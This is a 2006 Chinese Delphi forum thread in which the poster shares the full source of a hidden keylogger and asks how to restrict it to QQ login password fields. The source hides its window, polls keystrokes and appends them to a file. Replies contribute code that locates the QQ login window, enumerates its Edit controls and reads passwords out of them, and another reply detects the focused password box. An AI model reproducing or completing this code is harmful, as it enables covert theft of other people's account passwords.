全部分都加上了。。。。求助EDIT框问题(5分)

大狗熊 · 2006-08-18

unit Unit1; interface uses  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,  ComCtrls, ExtCtrls, StdCtrls; type  TForm1 = class(TForm)    Timer2: TTimer;    Timer1: TTimer;    Memo1: TMemo;    procedure FormActivate(Sender: TObject);    procedure Timer2Timer(Sender: TObject);    procedure Timer1Timer(Sender: TObject);  private    { Private declarations }  public  Loopkey:Byte;    { Public declarations }  end;  var  Form1: TForm1;  F:Textfile; implementation {$R *.DFM} procedure TForm1.FormActivate(Sender: TObject); begin Application.Minimize; ShowWindow(Application.Handle,SW_HIDE); end; procedure TForm1.Timer1Timer(Sender: TObject); function GetWinClass(hWnd: HWnd): string; var  WindowClass: array[0..MAX_PATH] of Char; begin  WindowClass[GetClassName(hWnd, WindowClass, MAX_PATH)] := #0;  Result := WindowClass; end; function IsPassEdit(hEdit: HWnd): Boolean; begin  Result := (GetWinClass(hEdit) = 'Edit') and   ( (GetWindowLong(hEdit, GWL_ID) = $B4) or (GetWindowLong(hEdit, GWL_STYLE) and ES_PASSWORD <> 0) or  (SendMessage(hEdit, EM_GETPASSWORDCHAR, 0, 0) <> 0)   &nbsp

; end; var  Result:Longint;  Enter:Integer;  Period:Integer;  Comma:Integer;  Space:Integer;  Colon:Integer;  Slash:Integer;  Label KeyFound; begin [red]  if IsPassEdit(HWnd)= False then Exit;[/red] Result:=GetAsyncKeyState(27); If Result=-32767 then Begin Close; End; Result:=GetAsyncKeyState(190); If Result= -32767 then begin Period:=1; Goto keyFound; End; Result:=GetAsyncKeyState(13); if Result= -32767 then Begin Enter:=1; Goto Keyfound; End; Result:=GetAsyncKeyState(188); if Result= -32767 then begin Comma:=1; Goto keyFound; End; Result:=GetAsyncKeyState(32); if Result= -32767 then Begin Space:=1; Goto Keyfound; End; Result:=GetAsyncKeyState(186); if Result= -32767 then Begin Colon:=1; Goto Keyfound; End; Result:=GetAsyncKeyState(191); if Result= -32767 then Begin Slash:=1; Goto Keyfound; End; Loopkey:=41; repeat Result:=GetAsyncKeyState(Loopkey); if Result= -32767 then Begin Memo1.Text:= Memo1.Text + Chr(Loopkey); End Else Loopkey:=Loopkey+1; until Loopkey = 91; Exit; KeyFound: if Enter=1 Then Begin Memo1.Text:=Memo1.Text + #13#10; Exit; End; if Period=1 Then Begin Memo1.Text:=Memo1.Text + '.'; Exit; End; if Comma=1 then begin Memo1.Text:=Memo1.Text+','; Exit; End; if Space=1 Then Begin Memo1.Text:=Memo1.Text+' '; Exit; End; if Colon=1 then Begin Memo1.Text:=Memo1.Text+':'; Exit; End; if Slash=1  Then begin Memo1.Text:=Memo1.Text + '/'; Exit; End; End; procedure TForm1.Timer2Timer(Sender: TObject); begin Assignfile(F,'Sam.txt'); if not FileExists('Sam.txt') Then begin Rewrite(F); Closefile(F); End Else Assignfile(F,'Sam.txt'); {$I-} Append(F); {$I+} If IOResult<> 0 Then Begin ShowMessage('Cannot Open File'); End; Write(F,Memo1.Text); Closefile(F); end; end. 完整源码如上 问题在那句  if IsPassEdit(HWnd)= False then Exit; 编译无法通过，我看不出有什么毛病，其他的都测试通过了，就是判断是否是EDIT框，无法通过 请高手指点，全部家当都加上了

gxw · 2006-08-18

先跟踪一下GetWinClass函数返回的究竟是'Edit'还是'TEdit'

寻路 · 2006-08-18

看不懂，不知道你的： if not IsPassEdit(HWnd) then Exit; 中的：HWnd是从哪里来的。还有返回的应该是'TEdit'。

大狗熊 · 2006-08-18

倒。。我没注意 HWnd不对阿。。呵呵 我测试的是QQ登陆的EDIT框 应该HWnd应该是光标所在处的句柄吧，搬别人的源码修改，结果没弄好：） 谁能指点下，目的是鼠标在QQ EDIT框内时返回True

寻路 · 2006-08-19

function EnumerateChildWindows(hWnd: HWND; lParam: LPARAM): BOOL; stdcall; var  ClassName:     array [0..255] of Char;  WindowText:    array [0..255] of Char;  I: Integer;  strPass: string; begin  FillChar(ClassName, 256, 0);  GetClassName(hWnd, ClassName, 255);  GetWindowText(hWnd, WindowText, 255); //  Form1.mmo1.Lines.Add(StrPas(ClassName) + ': ' + StrPas(WindowText)); //  EM_GETPASSWORDCHAR  //GetWindowLong(hWnd, )  if (StrPas(ClassName) = 'Edit') then  begin    strPass := GetIDandPassword(hWnd);    Form1.mmo1.Lines.Add(StrPas(ClassName) + '(' + StrPas(WindowText) + '): ' + strPass);  end;  Result := True; end; procedure TForm1.btn1Click(Sender: TObject); var  hWnd: THandle; begin  Form1.mmo1.Lines.Clear;  hWnd := FindWindow(nil, 'QQ用户登录');  if Handle <> 0 then EnumChildWindows(hWnd, @EnumerateChildWindows, 0);  //Edit1.PasswordChar end;

sy0116 · 2006-08-19

QQ的登陆界面真实太难搞定了，试了很多方法这样应该比较简单，但这段代码不是很好，如果输入密码的人有输入了代理密码就分不出来了。还可以先找到密码框的ID，然后找Handle，然后对比看与下面代码中的Focushld是否相同，我没事过，但估计应该可以吧 对于QQ2006 procedure MyGetFocus; var  windowhld:hwnd;  threadld:dword; begin  windowhld:=GetActiveWindow;  threadld:=GetWindowThreadProcessId(Windowhld,nil);  AttachThreadInput(GetCurrentThreadId,threadld,true);  Focushld:=getfocus;  AttachThreadInput(GetCurrentThreadId,threadld,false); end; function IsPassEdit:BOOL;stdcall; var  st:LongInt; begin  MyGetFocus;  st:=GetWindowLong(focushld,GWL_STYLE);  if st=1342242976 then  begin    Result:=True  end  else  Result:=False; end;

大狗熊 · 2006-08-20

用寻路老兄的代码 Edit(): 289284226 Edit(): Edit(): Edit(): Edit(): Edit(): Edit(): Edit(): Edit(): Edit(): 0 Edit(): Edit(): 呵呵,无法获取到真正的,试验下下面的看看

寻路 · 2006-08-21

你需要得到哪个真正的呢，你不是说只需要Edit就可以吗？ 如果只是想得到密码筐，我想可以加一个： if (StrPas(ClassName) = 'Edit') and (SendMessage(hWnd, EM_GETPASSWORDCHAR, 0, 0) <> 0) then  begin    strPass := GetIDandPassword(hWnd);    Form1.mmo1.Lines.Add(StrPas(ClassName) + '(' + StrPas(WindowText) + '): ' + strPass);  end;

大狗熊 · 2006-08-22

接受答案了

大狗熊 · 2006-08-22

积分改给寻路的...加错人了

寻路 · 2006-08-22

呵呵，没关系！

全部分都加上了。。。。求助EDIT框问题(5分)

大狗熊

Unregistered / Unconfirmed

gxw

Unregistered / Unconfirmed

寻路

Unregistered / Unconfirmed

大狗熊

Unregistered / Unconfirmed

寻路

Unregistered / Unconfirmed

sy0116

Unregistered / Unconfirmed

大狗熊

Unregistered / Unconfirmed

寻路

Unregistered / Unconfirmed

大狗熊

Unregistered / Unconfirmed

大狗熊

Unregistered / Unconfirmed

寻路

Unregistered / Unconfirmed

Similar threads